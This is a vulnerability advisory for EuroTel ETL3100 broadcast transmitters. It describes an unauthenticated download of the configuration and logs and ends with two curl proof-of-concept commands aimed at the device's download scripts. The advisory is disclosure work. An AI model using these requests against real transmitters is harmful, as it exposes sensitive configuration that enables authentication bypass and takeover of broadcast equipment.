EuroTel ETL3100 Transmitter Unauthenticated Config/Log Download Vulnerability Vendor: EuroTel S.p.A. | SIEL, Sistemi Elettronici S.R.L Product web page: https://www.eurotel.it | https://www.siel.fm Affected version: v01c01 (Microprocessor: socs0t10/ats01s01, Model: ETL3100 Exciter) v01x37 (Microprocessor: socs0t08/socs0s08, Model: ETL3100RT Exciter) Summary: RF Technology For Television Broadcasting Applications. The Series ETL3100 Radio Transmitter provides all the necessary features defined by the FM and DAB standards. Two bands are provided to easily complain with analog and digital DAB standard. The Series ETL3100 Television Transmitter provides all the necessary features defined by the DVB-T, DVB-H, DVB-T2, ATSC and ISDB-T standards, as well as the analog TV standards. Three band are provided to easily complain with all standard channels, and switch softly from analog-TV 'world' to DVB-T/H, DVB-T2, ATSC or ISDB-T transmission. Desc: The TV and FM transmitter suffers from an unauthenticated configuration and log download vulnerability. This will enable the attacker to disclose sensitive information and help him in authentication bypass, privilege escalation and full system access. Tested on: GNU/Linux Ubuntu 3.0.0+ (GCC 4.3.3) lighttpd/1.4.26 PHP/5.4.3 Xilinx Virtex Machine Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2023-5784 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5784.php 29.04.2023 -- $ curl http://192.168.2.166/cfg_download.php -o config.tgz $ curl http://192.168.2.166/exciter/log_download.php -o log.tar.gz